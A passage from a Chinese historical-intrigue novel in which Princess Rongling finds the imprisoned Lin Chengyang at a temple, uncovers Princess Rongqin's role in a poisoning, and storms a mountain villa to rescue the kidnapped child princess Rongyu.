更糟的是，有人见他一脸焦急，便又阴阳怪气吓他，“兄弟们，这怕是那劳什子的刘状元。老子手下人命无数，还从未揍过状元哩！”
有人听罢便怪叫着向刘昶袭来。
刘昶脚下一软，跌落在地时心道吾命休矣。
可就在他闭眼的一瞬，一道风啸响在巷中。
“陈无咎，你又在欺男霸女？”一道女声传来，凌厉中夹带几分静柔。
刘昶一怔，忙睁眼看去。
只见一位着碧色褙子，挽平髻饰珠箍的女子亭亭立于他身前。只是她虽一身文气，手中却持柄寒光闪闪的…树枝？
温婉与飒爽在她身上对立又和谐。
刘昶不错神地盯着她的背影。
定远侯府的仆从一见来人，忙起身的起身，正衣的正衣。
眼前这位虽称不上姑奶奶，但唤句姑姐姐，她也是承得起的。
那扇一直紧闭的香草瑞兽木门终于“吱呀”打开。陈无咎讪笑着下车，“文秀，你何时回的大都，怎不找我吃茶？”
陈无咎长了一张雌雄莫辩的粉面。
他凑到万文秀身旁，“你今日的衣裳好看，不过瞧着像是去年的款式。不若明日来我家？老太君新请了位苏州的师傅，会做最时兴的破云裙哩！”
万文秀无奈，“陈无咎，你便是赠我十件八件破云裙、在这大都做再顽劣不堪的混子，郡主也不会松口叫你回南漳三卫。”
陈无咎面色一变。
自然，他并非生来便是纨绔。他也曾在南境浴血，是前锋营最骁勇的将军。可惜定远侯府三代里都只剩了他一根独苗，陈太夫人亲至建平帝面前哭求，道是陈家世代忠心，恳请陛下给老陈家留个后吧。
于是，一旨圣意去了南漳，自此断了陈无咎的军旅生涯。
陈无咎也因此不忿，摇身变作游手好闲的膏粱子弟。
他想的是，陈太夫人定看不过他这样蹉跎自己、玷污陈家几世清名的样子。届时，他便能跟老太君讨价还价——只需放他回南漳，陈无咎又是奋勇轩昂的陈家儿郎。
只可惜，他等了一年又一年，老太君仍不松口。
刘昶认出眼前这位既温婉又飒爽的女子。
那日，她随南漳郡主、张廷瑜一道来的桑园村。又因方才的定远侯世子提起南漳三卫，刘昶便猜，这女子当在南漳郡主跟前行走。
他站起身，仔细收拾凌乱的衣衫与神色，这才郑重行礼，“竟在此遇见文秀姑娘，刘昶感怀于心。”
万文秀转回身，认了一会，也有些惊讶，“刘状元，是你？”
她看着眼前这人，心思微转。
想不到刘昶在桑园村仗势欺人，来了大都，却叫权势更高一头的陈无咎摆一道。这还真是，一报还一报。
不过眼前这事确是陈无咎失礼，万文秀瞪一眼粉面俊俏的郎君，“陈无咎，快致歉。”
万文秀音量不高，可眼高于顶的定远侯世子却如闻纶音，他虽一脸不情愿，嘴上仍道：“抱歉，是下人无状。”
他又踢一脚嚣张的仆从，仆从便突然做了软脚虾，趴在地上，“小的有眼不识泰山，冲撞了刘状元。”
刘昶明白，人家这是看在万文秀，看在南漳王府的面子上才与他致歉。他心中虽仍有不满，可也知道眼下并非计较的时候。
他低了半分头，“下人初来大都，言行伧俗，叫世子见笑了。”
见他二人说开，万文秀便觉此间事了，正要离去。
只是她刚捧起情急之中丢在一旁的书，竟发现它在混乱中叫人踢了一脚。那书有些年头本就装订得不牢，眼下更是
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纸页散落，狼藉一片。
“诶呀！”刚刚还一人一树枝沉稳拦于车前的万文秀急得跺脚，这叠书是她特特请万松斋的掌柜留意，自外地收来的《喜春来》。
掌柜的说，这书已不多了，他也费了好一番功夫才收着一册完整的。
听她这记惊呼，正要上车的陈无咎又凑过来，“文秀，怎的了？”
万文秀捧着书，“都怪你，我好不容易找见的《喜春来》全本，都坏了！”
陈无咎晓得，万文秀虽出自嵩山万府，却与她那半个武痴的兄长不同，她不喜刀剑，倒爱读书。
手下的小子没轻重，竟踢坏了她的宝贝书，陈无咎一时头大，心说这下他怎还能劝得万文秀与他一道吃个饭，饮个茶？
谁知，旁观的刘昶忽问道：“姑娘手中的可是前朝仁宗年间齐元楼的刻本？”
万文秀抬首，眼中既吃惊，也有希冀，“确是齐元楼的刻本，刘状元可在别处见过？”若还有，她愿花上百金千金收来。
可刘昶摇头。
就在万文秀满眼的期待要冷作失望时，他又道：“我家中没有齐元楼的刻本，但有更早些的抄本，文秀姑娘若不弃，改日我送去府上。”
万文秀心中便有一阵清风吹开阴云。她头次觉得，这纵得家中仆从恶霸邻里的刘状元也有些可取之处。
“不必不必，本是我借书，刘状元告知我府上，我亲自去取。”
刘昶与她说好地点与时间，这才重又上了马车，碌碌往家中行去。
他抬起手，手心是跌落在地时擦出的伤口。他又用另一只手狠狠地摩擦那片伤口。
钻心疼痛袭来。
刘昶便在那叫人清醒的锐痛中不断提醒自己，刘子渊，你生来便叫人抛弃，自小叫人看不起，可那又怎样？你总要做这天下一等一尊贵的人，总要将那些轻视的、鄙薄的、仇恨的目光都踩在脚下。
权势，是你这一生最重要的装点。
自瓦舍回来，荣毓又在南漳王府赖了几日。荣龄叫她如小尾巴一般跟着，也不好去做太过紧要的事。
幸而五日后，玉鸣柯终于觉出她出宫久了。那日清晨，披香殿的小黄门带来整幅公主仪仗，接走了荣毓。
离去前，小丫头扒着车窗，拉住荣龄的袖子，“几日后便是白梅宴，你会来的吧？”
荣龄对这见证皇帝与后妃深情的白梅宴并无兴趣。可她也知道，若当下拒绝，荣毓许是又要哭闹起来，耽搁着不肯走。
她便模棱两可答道：“有时间就去。”
未几，马车往皇宫驶去。
荣龄回到书房，正遇上万文林来禀事。
前几日，因自个不得脱身，她便让缁衣卫去隆福寺瞧瞧。
待将那座皇家庙宇里外摸了几次，万文林终于带来她想要的消息。
“郡主，达摩院的西边院看守得颇紧。属下亲见一位小沙弥因误入西边院遭了毒打。”
毒打？莫非蔺丞阳就在这隆福寺的达摩院中？
这倒也说得通。
一则隆福寺距公主府只一炷香的脚程，荣沁既可撇开无端囚禁蔺丞阳的罪名，又能时时去探视。二则达摩院中有四大武僧，功夫较寻常的公主府护卫高上许多。若有他们镇守，蔺丞阳还真是求助无门。
但不论如何，眼见才为实。
48. 蔺丞阳
腊月初一，恰逢大都官员休沐。
荣龄便邀张廷瑜一道去隆福寺。
张廷瑜打量她，“有事？”
荣龄也与荣沁一样，从不是求神拜佛的人。她忽地提起要去隆福寺，定是此地无银三百两。
荣龄便凑到他耳畔道：“蔺丞阳许是关在那。”
张廷瑜双眉微抬，这才颔首。
此番去隆福寺，荣龄未作遮掩，而是领了侍卫、仆从好一堆人。又有额尔登正式递上南漳王府名帖。
因而待一行人悠闲逛至隆福寺山门时，方丈通智大师三步并作两步来迎。
“未及迎郡主尊驾，还请郡主恕罪。”
荣龄抬了抬手，“本就是我们信步而至，大师何罪之有？额尔登——”
闻言，长史额尔登亲自扶起行礼的通智大师，不落一分失礼之处。
通智大师直起身，又看荣龄一旁的张廷瑜，“想来这便是张大人？”他念一句佛号，“老衲有礼。”
张廷瑜看了荣龄一眼，接下话道：“听闻隆福寺迎来身毒国的贝叶古经，我与郡主提了，郡主也极感兴趣，我二人便来瞧瞧。”
隆福寺作为北地禅宗第一寺，向来地位尊崇。
只是近来，长春道异军孤起，夺去许多信众。
通智大师便想，隆福寺是皇家庙宇，失得起平民信众，却定要牢牢拢住那些高门贵族。
于是，他自身毒国寻来传说中佛陀亲笔书写的贝叶古经，又大肆宣扬其珍稀之处，引来最能掐尖争好的大都高门接踵而至观赏。
因而，荣龄二人自称为此而来，未引起通智大师的半分疑心。
可他不知道的是，张廷瑜提起贝叶古经，并非二人真要瞻仰佛陀遗迹，只因它所在的藏经楼正毗邻达摩院。
待登上藏经楼，张廷瑜陪着通智大师畅叙各朝译经，又提起自己在父亲札记中见的渝中石窟寺经变壁画描摹。
见二人谈兴正浓，荣龄有意落后一些，向栏外望去。
达摩院在藏经楼以西，是中院并东西跨院的建制。荣龄根据万文林的提示，向最西边的院子望去。
那院子不大，东西约三十步，南北更窄一些，约二十步。
小院瞧着没人看守，但荣龄瞥了几眼守卫要害处，那四位武僧正两明两暗镇守其间。
荣龄奇道，这荣沁到底给了通智大师什么好处，竟能这般使唤达摩院中的高僧？
在藏经楼上盘桓半晌，张廷瑜又看向荣龄。荣龄与他颔首，示意自个已将达摩院打量得差不多。
于是，张廷瑜便又提起，“早听闻隆福寺中有大都最好的凤凰单枞，不知是否得幸饮一杯。”
通智大师自无不允，“郡主、张大人，这边请。”
藏经楼的一楼便有茶室，通智大师着人点燃红泥火炉，待雪水沸过三遍后，方取水冲茶。
佐以窗外白雪残枝，张廷瑜又与通智大师说起禅来。
荣龄心说，幸好张衡臣博通古今，便是佛法道义都能说上许久。若她一人来，她可想不出如何绊下通智大师，好让自己有空儿去寻蔺丞阳。
这时，万文林叩门来禀，“郡主，有军报。”
荣龄便借机脱身。
待缁衣卫引开达摩院中的四位高僧，荣龄悄然翻过院墙，推门进入平平无奇的小平房。
随门页开合，墙角的某物微动了动。
荣龄看过去，心中吃惊。那蜷缩的一团已枯槁得看不出个人样，他的双手双脚都带了沉重的铁镣，磨出腕上一圈厚厚的血痂。
“蔺丞阳？”荣龄试探唤道。
那人头微动，却并不看过来。
荣龄只好走过去。可稍靠近些，他身上溺馊的味道迎面扑来，荣龄捂住嘴鼻，心中更震惊。
荣沁竟这样恨？她不仅夺去蔺丞阳的自由，更一丝尊严都不留。若将眼下的蔺丞阳扔到大街上，怕是没人敢认此乃人称“小青天”的蔺家公子。
她心中一叹，再唤道：“蔺丞阳。”
那人终于迟缓地抬起头，“你是？”他的嗓音低哑，如粗砂夹入肉中，让整幅声线都沁了血。
荣龄想了想，二人还真从未私下见过，蔺丞阳认不出她，倒也说得过去。“我是荣龄。”她道。
蔺丞阳眨了眨眼，“郡主？”他的语调中满是怀疑，既怀疑她是否真是荣龄，更怀疑她为何在此时出现在此地。
荣龄取下腰间令牌，那枚镌刻“南漳”二字的墨牌递至蔺丞阳眼前，“可信了？”
蔺丞阳犹疑地再看她一会，“但不知郡主，为何来此？”
荣龄却摇头，“这话该我问你，”她估算缁衣卫拖住四位武僧的时间——她约有一炷香的空当，“蔺丞阳，你为何在此？”
蔺丞阳却答非所问，他忽想起来荣龄自外头来，定晓得瞿郦珠的状况，情急中他也管不了自个身为驸马，特特去问太子良娣的境况有多冒昧。“郡主可知，瞿良娣近日可好，可有抱恙？”
荣龄一愣，她紧紧盯着蔺丞阳，欲找出一丝他在做戏的痕迹。可她如犁地一般扫过几遍，他眼中、面上的担忧分毫不变。
她沉沉转过心思，这蔺丞阳不会至今未得瞿郦珠的死讯？
可那毒药明明是他亲手给的…
荣龄不想也不敢立时便信这荒唐到让人叹息的猜想，因而她颔首，“倒是不曾听闻有恙，当无碍。”
蔺丞阳显见地松了口气。
荣龄仍一瞬不瞬盯着他。
她想，若真是做戏，蔺丞阳的言行举止总要露出马脚，她决定且行且试。
于是，荣龄再次问：“蔺丞阳，你为何突然失踪？瞿良娣托我寻你，这话也是她让我问的。”
闻言，自荣龄进门便一直颓丧在地的蔺丞阳猛地抬头，他的眼中恢复几分“小青天”的精明与清亮。
“郡主何意？”他警惕问道。
荣龄不与他打哑谜，“瞿良娣用药落胎伤了身子。因她日日消瘦下去，旱莲只能铤而走险为她找来疗养的方子。可她没将药渣子藏好，叫小宫女瞧见。因这药渣子，东宫查出瞿良娣落胎的真相，你二人的感情也因此东窗事发。”
荣龄编出一个合情合理的开头，又造出半真半假的经过。
“你也知道，你二人一者为太子哥哥的良娣，一者为荣沁的驸马，这丑事乃陛下的家事，不宜由三法司来查。恰逢我回了大都，陛下便命我查清。眼下我已将瞿良娣收监…”
见蔺丞阳一脸惊忧不作假，荣龄再下了一记猛药，“也是可怜见的，那瞿良娣本不肯说出奸夫是谁，可当她知晓你蔺丞阳忽地失踪来个活不见人、死不见尸，她愤怒极了，以为你怕了、逃了，这才告诉我与她生了情缘的是你。”
荣龄有意停了停，她低下嗓音，如夜半幽魂引诱人说出心底话，“蔺丞阳，你当真怕了、逃了，要当那敢做却不敢认的无耻之徒？”
“我没有！”蔺丞阳挣扎着要站起，可
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他太久没有走动，起到一半，那身子又不听使唤地跌落，“郡主我没有！是荣沁将我囚在这，你定要告诉郦珠，非我小人，待我出去，我定与陛下、太子殿下禀明，是我强迫她与我欢好，她挣扎了、拒绝了，是我肯不放过她。”
荣龄面上神色不变，心中却已一震。
“你是说并非你有意避开，却是荣沁将你囚在此处？”她再度确认。
若真如此，旱莲状告蔺丞阳毒杀瞿郦珠一事岂非成了诬告？
那药中的毒究竟是谁下的？
“不错，自郦珠送我的绣帕叫荣沁瞧见，她便如发疯一般，让人日日跟踪、监视于我。也是我自个不够当心，叫她查出了郦珠。”蔺丞阳解释道，“中秋宫宴，她与我摊牌，要我与郦珠断个干净。可我那时便说明，既然我无情、她无意，我们不若就此和离，她大可再去寻个知心之人。可她只是愤怒，没说几句便拂袖而去。”
过完中秋不久，蔺丞阳与瞿郦珠便在白云观的丹桂林中出事。其后之事，蔺丞阳暂不知，荣龄却清楚。
“荣沁可接触了你送给瞿良娣的药？”荣龄有意问。
蔺丞阳别号“小青天”，为人自然警觉，“郡主为何问起药，可是那药出了问题？”
荣龄不想他在此时陷入绝望，因而未告知真相。
“是有些问题，瞿良娣伤了身子，许是日后都不能有孕。”
蔺丞阳拼命回忆。
他忽然眼前一亮，“我去宫中送药那日，荣沁曾命人送来一份早餐。我本不想用，可送餐那人死死盯着，我为早些打发他，便用了一些。将要出门时，我忽然腹痛，去了趟净房。”
“你去净房时可有人看守那药？”荣龄问。
“无…无人。”蔺丞阳亮起的双眼又黯下，“定是那时出的事，是我不察，叫郦珠受苦了。”
他最后道：“待我自宫里回了自个院子，我脑后一痛，醒来便到了这里。”
荣龄也不知今日的自己叹了多少气。
她望向房中唯一的一尊佛像，不禁在心中问，佛陀，若你有灵，可否告诉我你布下蔺丞阳与瞿郦珠的一番因果究竟为何？
即便她只旁观，也觉得苦透了。
蔺丞阳还在求她，“郡主，求你救我出去，我一人做事一人当。郦珠刚失去孩子，最是荏弱，她经不住讯问，也受不得惩罚。”
荣龄自远处收回目光，她的目光止不住地怜悯。但——
“这事不比其他，你若一力承担，不但自个会受极刑，便是蔺家，恐也难逃牵连。你倒是情愿，可曾想过蔺家？”
蔺丞阳便道：“此事我早已想过。若能出去，我立时求祖父将不肖子孙逐出族谱。”
只可惜，若自蔺太傅在诗会中的题句来看，蔺家不仅不会如蔺丞阳所愿，更是早与荣沁沆瀣一气，欲将罪责都推给已逝的瞿郦珠。
蔺丞阳这般筹谋，实在天真。
这时，窗外传来两长一短的扣响——是缁衣卫中提醒有敌方靠近的暗号。
荣龄提了口气。
“蔺丞阳，眼下我还无法带走你，你先安心在此地待着，等我再来寻你。”
她匆匆出门，万文林已过来迎她。
“郡主，四位武僧已回过神来，正往回赶。”他禀道。
荣龄颔首，“走。”
待那四位高僧重新回到达摩院，院中房门仍紧紧闭着，房中的可怜虫也仍蜷在一角，恍若没有一丝生气。
49. 公主劫
晚些时候回了南漳王府，荣龄窝在张廷瑜怀中说起这事。
“你说，当真是荣沁下了毒？”
荣龄其实有些唏嘘。她虽自小与荣沁掐架，可心中还残留几分儿时的荣沁叫细犬吓得哇哇哭泣的样子。
这样的荣沁，竟对身为东宫良娣的瞿郦珠说杀就杀？
但转念一想，荣龄自个也犯下杀戮无数，她与荣沁，甚至荣宗柟、荣宗阙，都早已不是那时模样。
张廷瑜轻拍着安抚她，有些心不在焉。
倒不是荣龄的问题难住他，只是，他忽然想起瞿郦珠流血而亡的死因与前元末年的几位后妃有些像。
那时，摄政王为把持朝政，有意不让末帝生出皇嗣。他买通宫女，掉包了保胎的汤药。那些后妃饮下，当夜便血流不止，不仅胎儿不曾保下，连性命都丢了。
因一年中接连死了三位后妃，张芜英便暗中去查，这才查出那要命的汤药。
眼下瞿郦珠又因血流不止而亡，二者的相像究竟只是巧合，还是那秘药又重出江湖？若是后者，又是谁将这秘药给了荣沁？
他不免又想起冯保送来的三彩美石——同是前元之物，同又莫名现身。
见张廷瑜若有所思，荣龄抬起头，好奇问他，“在想什么？”
但他想了想，还是摇头道：“没什么。”
他终归只有些毫无根据的联想，还是查清了再与荣龄说——她眼下已经够忧心的了。
“二公主虽与蔺丞阳感情不谐，但郡主不知，这些年若遇上需他夫妇二人联袂出席的，二公主必要与水芝做出恩爱难分的模样。她这样要强，一旦晓得水芝与瞿良娣的私情，下毒、害人倒也不足为奇。”
张廷瑜回答荣龄方才的问题。
“但郡主可想好了，若真是二公主做的，可要叫她自个承认下毒？”他又问。
荣龄叹一口气，这也是她为难的。
且不说逼荣沁自个认下这罪有多难，便是认下了，建平帝、贵妃，还有赵文越、荣宗阙，他们可会袖手？
但若任荣沁草菅人命却毫无惩处，荣龄又不甘心，也觉得对不起枉死的瞿郦珠。
见她满心纠结，张廷瑜安慰地抱紧她，“先不忧心，事缓则圆，没准还有旁的法子。”
可到了第二天，曹姑姑带来的噩耗却让一切失了序，再无回寰的余地。
次日，荣龄还在因不想用一碗清炖的黄芪鸽子汤而与张廷瑜讨价还价，一脸惊惶的曹姑姑由额尔登陪着，几乎撞进门来。
“郡主，公主不见了！”
荣龄趁机推开那黄芪鸽子汤，一时没反应过来，“不见了？她好好地在宫里，为何不见了？”
曹耘拼命抑下心中的恐惧，尽可能精简禀道：“今日午后是白梅宴，公主怕郡主不肯来，便与娘娘道，先来王府寻郡主，你二人一道去。”
可谁知，马车刚行至离南漳王府尚有几个路口的巷里，一伙蒙面人忽地从天而降。荣毓带的仅是寻常侍卫，并非那伙蒙面客的对手。
没一会，侍卫死的死，伤的伤，哇哇大叫的荣毓也让人打昏，裹进大氅中往西山方向退去。
“劫走了？”荣龄猛地站起，有些不置信，“光天化日劫走公主？”
“蒙面客可有留下言语？”
曹耘忙点头，“有！有！为首之人道不可禀报陛下，否则便要了公主的命。奴婢拿不定主意，这才来寻郡主。”
荣龄的脑海中铺开一卷大都地图——自皇宫至南漳王府所在的东安门崇釉胡同，沿途均为高门聚居之地，宵小向来不敢擅入。
今日竟有蒙面客强抢公主，他们哪来的熊心豹子胆？
再者，荣毓来南漳王府邀她本就临时起意，那伙子蒙面客竟能在这样短的时间布置妥当，中途劫走她…他们在宫中定有耳目。
又者，荣毓不过一个七岁的小娘子，她能得罪何人？
刚刚曹耘又道，蒙面客叫她不可禀报建平帝，是因背后的指使之人也畏惧皇帝，还是，他们的目的本就是将荣龄卷进来？
不对，不只！
荣龄的眼神、面色已寒得如结了一层昆仑巅更古不化的冰雪——高门、皇宫、忌恨荣龄，背后指使之人是谁已呼之欲出。
不曾想，她昨日还在天真地怀疑荣沁是否真的狠下心毒杀瞿郦珠，今日，她便用一个荣毓狠狠打了她一巴掌。
荣龄愤怒到极致，内心倒如跌入风眼平静下来。
“文林，带上缁衣卫，随我去西山万花别院。”
西山谷万花别院，贵妃赠予荣沁的嫁妆之一，因四季有温泉入室，院内花开不败，故曰万花。
荣龄换上一身真紫色劲装，束护袖，着牛皮靴，腰间佩玉带，手持一柄鞘身盘旋四爪游龙的玉苍刀。
缁衣卫已在崇釉胡同勒马相迎，荣龄翻身上马，回首与张廷瑜交代一句，“衡臣，你去寻荣宗阙，将他带来万花别院。荣沁是个疯子，他不是。”
张廷瑜拱手，“定不负郡主吩咐。”他又往前一步，“你自个也要当心。”
荣龄颔首，手中马缰一抖，领着百余缁衣卫直往西山而去。
西山位于大都以西，是燕山余脉。因其苍俊明秀，向来是皇室别院的建地。可若叫花匠阿福来说，同在西山中，那一重重的院子也要分个高低贵贱。
最次的自然数西山南麓脚下，因另一余脉伸出，生生挡住一半的风景。
好一些的在半山腰，避开那恼人的遮掩，可远眺整个大都。但也正因位于南麓，那些院子无法瞧见西山谷中漫山的红叶，西山别院的趣味便淡了大半。
最上佳的正在西山谷里，主人家可坐于院中赏斑斓秋景。若再能守一眼温泉便更好，那样整个秋冬都不必再受深寒。
而阿福所在的万花别院便是这西山中位置顶顶好，仅次于当今陛下西山行宫的一处院子。
能占下这样上佳的位置，只因万花别院乃圣上最金贵的二公主荣沁的嫁妆。
不过，提起这院子的主人，阿福沉沉一叹。
这万花别院千好万好，唯独这主人，有些苛刻。
这不，因她清早便来，他们一伙子仆从自三更离了被窝，一径忙碌到现在。
他是花匠，管家吩咐他定将院中种的四季百花都察看一遍，定不可有一片落叶，一朵蔫巴的鲜花。
阿福提了灯笼，与其余花匠凝了神去找。幸得这院中有温泉，他们不至于在最
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清寒的早上冻坏。
可不知为何，今日的他有些莫名不安。
也不知是二公主来了后不如往常折腾一院的人叫他不习惯，还是不久前一伙眼瞧着武功高强的练家子在胳膊下夹了一件大氅，行色匆匆往后院而去…
阿福躲在寿山石后偷看了好几眼，那大氅中当藏了个孩子。
哪家孩子竟叫人以这样的方式带来？
他一面剪下开得正好的腊梅供二公主在房中用，一面不停地想着这些有的没的。
像是为印证他的不安，院外忽传来由远至近的马蹄。
西山诸别院均归皇室，若无急务，无人胆敢在此纵马。
阿福心中一跳，会是谁？为何事？
而下一瞬，厚厚的黑漆桐木门叫一股巨大的力道顶破，阿福远在院子角落，仍被一片横飞而来的木片擦伤脑门。
他疼得惊叫，可一息后，黑衣甲兵护着一匹黢黑神驹奔入院中。
阿福的惊叫便断在嘴边，他死死捂住自己的嘴，只怕惹了这群天降神兵的注意，倒丢了性命。
阿福怕死，可也有不怕死的。
常伴于荣沁身旁的小将率公主府私兵急来迎战。他自诩曾在西北前线打过几年仗，并不将这伙不知何处来的亡命客放在眼里。
可谁知，他刚一迎上其中一人，也不知那人如何拔的刀，他只觉眼前一花，手中狠狠一木。待他回神，他已与瑟缩于角落的花匠跌在一处。
阿福盯着他，如见地狱恶鬼，“血，血…”他指着小将的脸，惊恐地喃喃道。
小将伸手去摸，只摸到一手温热的濡湿。待他拿下手，伸在眼前，他只看到满手的血。
这时，小将才感受到自面上传来的深入骨髓的疼。
那人一击之间竟在自己面上划出三道几要见骨的伤口。！
荣龄骑在马上，视线较其他人更清楚些。
荣沁的公主府私兵来自凉州军，战力并不弱。如遇上大都四方四卫，许还能占个上风。可今日，他们遇上的是缁衣卫——便在第一边军南漳三卫，也仅有几百人挑一的方能进入缁衣卫。
因而一路行来，缁衣卫没遇上什么像样的阻拦。
缁衣卫出手利落，虽伤人，却并不与人纠缠、要人性命——这也是荣龄的吩咐。
这些凉州军虽听命荣沁，做些作奸犯科之事。□□龄久在军中，比谁都更明白一将功成万骨枯。
她与这些凉州老兵的立场虽不同，但仍高看他们一眼。
未几，荣龄拉着马缰，纵马小跑着驰入万花别院的正院。
正房中引入温泉做成绕院的曲水，因水温较高，院中弥漫一片白茫茫的水雾。
荣龄停马房前，冲那紧闭着的五扇雕花木门高声道：“荣沁，我来了，将荣毓交出来。”
一时并无人回答。
荣龄再道：“费了这么多功夫将我请来，怎的眼下又闭门不见？”
语落，东南西北四方忽袭来的四种不同的力道。
荣龄在马上抬首，只见四位着灰色僧袍的白须老僧或持琵琶、或持青云剑、或持蛇鞭、或持混元伞向正中的她聚来。
荣龄冷冷一笑，心说在这等着我呢。
50. 万花别院
还未等荣龄动手，缁衣卫已自动分为四个阵营，各自迎上一位高僧。
荣龄在一旁冷眼旁观——若自四位高僧手持的武器来瞧，他们仿的是佛国的东方持国、南方增长、西方广目、北方多闻四位天王。
只是…
“未想到佛门清净之地，竟做了荣沁的走狗。”荣龄端坐马上，有意道。
她的音量不高，但四位高僧功夫卓绝，不会听不见她嘲弄的话语。
果然，院中内力忽然一变。好似有人在文火中撒了一把白磷，火苗倏地熊熊扬起，透出几分邪气。
荣龄再激，“我这胡言乱语竟惹得大师动了怒，这可实在罪过。但大师如此搂不住火，想来这隆福寺达摩院的修为也不过尔尔…”
几位高僧的招式又一变。
随其变化，院中内力斗折蛇行，激起各色花瓣无数。
荣龄忙中偷闲地想，若自空中看，这些花瓣许是汇作斑斓锦带，又化为五彩巨龙，它们不住腾挪、翻涌，将馥郁花香弥漫院中。
在那沁人花香中，万花别院的“万花”二字有了最名副其实的注脚。
四位高僧又以持琵琶的持国僧最为愤慨。
只见他将琵琶掷向空中，琵琶沿横轴翻转，弦轴绷的四根弦立时自覆手脱落。
持国僧再次拨动琴弦，四弦如生了意识的四条长虫，呼啸着直往缁衣卫面门袭去。
那琴弦由极细的玄铁而制，因在空中时隐时现，叫人防备不及。
不一会，已有好几位缁衣卫吃了苦头。
玄铁丝刺入极深，自面上瞧，只一个小小的血窟窿。
□□龄明白，那血窟窿下头怕已震碎一大片。
而若因伤口太小未引起重视医治，底下的一大片碎肉很快便烂了、腐了。到那时，神仙都救不了他们。
荣龄眼中一寒，自马上纵身飞起。
一道白刃横贯院中，与另一侧的四弦琵琶撞击一处。
“铮铮”四响，玄铁丝竟叫玉苍刀生生砍断一截。
持国僧看向横刀而立的荣龄，面色一变。
荣龄冷冷看他，“出家人以慈悲为怀，不知大师拜的何处的佛，出手这样狠毒？”
持国僧狠狠“啐”了一口，“莫非只许你这女子出言不逊，不允我出手教训？”他舞动琵琶又欺上前来。
荣龄不再惯着他。
她也看明白，四位高僧各持法宝，以阵法守住脚下的一片土地。那阵法各自独立，又相互勾连形成一个更大的密阵，牢牢罩住整个院子。
荣龄提刀向前，力贯其中。
几在同时，身旁忽有一道黑影闪过，他持刀自半空砍下，与荣龄一起，对持国僧形成夹击。
因万文林的一击，院中局势又一变。
荣龄余光打量周围，只见另三位高僧即刻撤离与缁衣卫的打斗，他们生生变了方向，持手中武器赶忙来救。
那增长僧的青云剑剑花已笼上万文林的后心。
荣龄一惊，忙提醒，“文林，当心后头。”
万文林却在半空高喝，“郡主莫瞧其他的，先卸了这人的琵琶。”
电光火石间，荣龄明白他的意思——
四僧能拦住缁衣卫这样久，既因他们自个武功高强，更因四人配合无间，阵法互有倚仗。那铁琵琶、青云剑、蛇鞭与混元伞如一张桌子的四根腿，稳稳撑起整块桌面。
但若…砍了其中的一条腿，废了这张桌子呢？
一时间，荣龄形随意转，再看不见其他。
她只将心神凝在刀口，凝在那持国僧手中的玄铁琵琶上。
又“铮”地一记，玉苍刀刺入琵琶，拦腰砍断四弦、廿四品，便是那一整块玄铁制的背板，也一径刺了个对穿。
在金属相击的铿然巨响中，另一柄镔铁刀自上而下砍入持国僧肩头。刀身没入□□的闷响微不足道，如一出默剧淹没其中。
但很快，持国僧的肩头血流如注，染红整片灰色僧袍。
荣龄与万文林同时拔出手中长刀，持国僧便如失了倚靠，骤然跪倒在地。
伴随持国僧战败，院中无形勾连、汇结的阵法似蛛网遇火崩溃。缁衣卫兜头迎上剩余的三僧，很快便将其制服。
荣龄还刀入鞘，大步走向紧闭的雕花木门，
只是还未等她踹门，三人高的木门竟自里头开了。
荣龄警戒停住，凝眸看向里头。
门内是一方几乎占据整间屋子的温泉汤池，池水呈些微的乳白色，水面飘有五彩花瓣，还有…
还有生死未卜的荣毓。
一贯骄矜的小丫头囫囵浸在温泉水中，只一把浓密的黑发叫池边人抓在手里。
荣龄顺着那莹白又柔美的手往上看去，直停到一张虽然模糊，却掩不住其中投来的恶毒目光的脸上。
“荣龄，你再聪明，功夫再高、破了达摩院的四僧法阵又有何用？你若往前一步，本宫便叫荣毓死在万花别院。”她轻蔑道。
话语中，她半分未怜顾荣毓也是她同父而生的姊妹。
荣龄嗤笑，“想不到竟有一日在二皇姐口中听到对我的夸赞。我当真…受宠若惊。”
她嘴上说得轻松，眼中却一瞬不瞬盯着水中的荣毓。
是她大意了，总想着即便荣沁发觉她查出些什么也不能怎样。可没料到，荣沁是不能拿她如何，却能拿住她的身旁之人作为威胁。
可怜荣毓这小丫头长到七岁，头回吃这样的苦。
这事，是荣龄对不起她。
闻言，荣沁面上一狠，将本就半昏迷的荣毓摁入温泉池水中。
荣龄神色巨变，轻点地面便要纵过去。
“不许过来！”荣沁尖叫着阻止，“你过来我便抱着她跳入池中！”
荣龄顿住，“荣沁你不要乱来，若杀了荣毓，你以为自个逃得脱吗？”
约数过五个数，荣沁提着荣毓的发将她拎出水，小丫头痛苦地自昏沉中呛醒，她惊恐挣扎，挣扎中又瞧见门外幻影一样的荣龄。
她想喊，却没了力气，“阿姊，”她只能在嘴边喃喃，“阿姊救荣毓，荣毓不想死。”
荣龄隔得远，尚未听到那蚊蝇般的求救。可蹲在荣毓身后的荣沁却已听得清楚。
她伏下身，嘲道：“到底是同个贱人生的，你还是向着
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她。”
又抬首望向荣龄，“荣龄，人人都说你恨极玉鸣柯，恨极我手中的小孽障。可本宫却不觉得，你今日急着赶来，定是忧心极了这小孽障的性命。”
“既如此，本宫与你做个交易？本宫用这小孽障的命，换你查得的一个真相。”
荣龄手中捏成拳，语中却还平静。
她又听到一些院外的动静，便有意逼问荣沁：“换哪个真相？”
荣沁目光冰冷，口中话语更无情，“本宫知道你奉命查瞿郦珠一案，也知道你昨日见了丞阳，听了些荒唐话。可他关在隆福寺已久，神思早已错乱，说的话自然不能作数。”
她冷笑，“今日，你便去回禀父皇，言明此事未查出任何毒药，一切俱是瞿氏宫女胡乱陷害、诬告。瞿郦珠之死有且仅有一个真相——是她不要脸地勾引蔺丞阳，又因害怕一朝事发、祸连家族，这才选择自我了断。”
荣龄听她这厚颜无耻的一番话，心中燃了一把邪火。
但荣毓到底在她手中，荣龄投鼠忌器，只能与她迂回，“荣沁，这事分明只关乎蔺丞阳与瞿郦珠，你为何非要插一手？莫非是你下的毒？不然，若让皇帝知道你大费周章虐待荣毓，你岂不得不偿失。”
荣沁下颌一扬，十足倨傲，“是又如何？”她心绪不稳，一下又将荣毓摁入水中，“谁让她自个不要脸，勾引丞阳！”
“至于荣毓，她是公主，本宫更是贵妃亲出的二公主。你便是告了御状，母妃、二皇兄可会坐视不理？本宫即将回大都的舅舅会任你施为？荣龄，你不过一个死了爹又没娘的可怜虫，你拿什么与本宫斗、与赵氏斗？”
望着再次没入水中而痛苦挣扎的荣毓，荣龄在恍惚中似也感到一股久远却熟悉的恐惧——肺部鼓得快要炸开，眼睛也因长期浸在水中而生出涩涩又尖锐的疼。
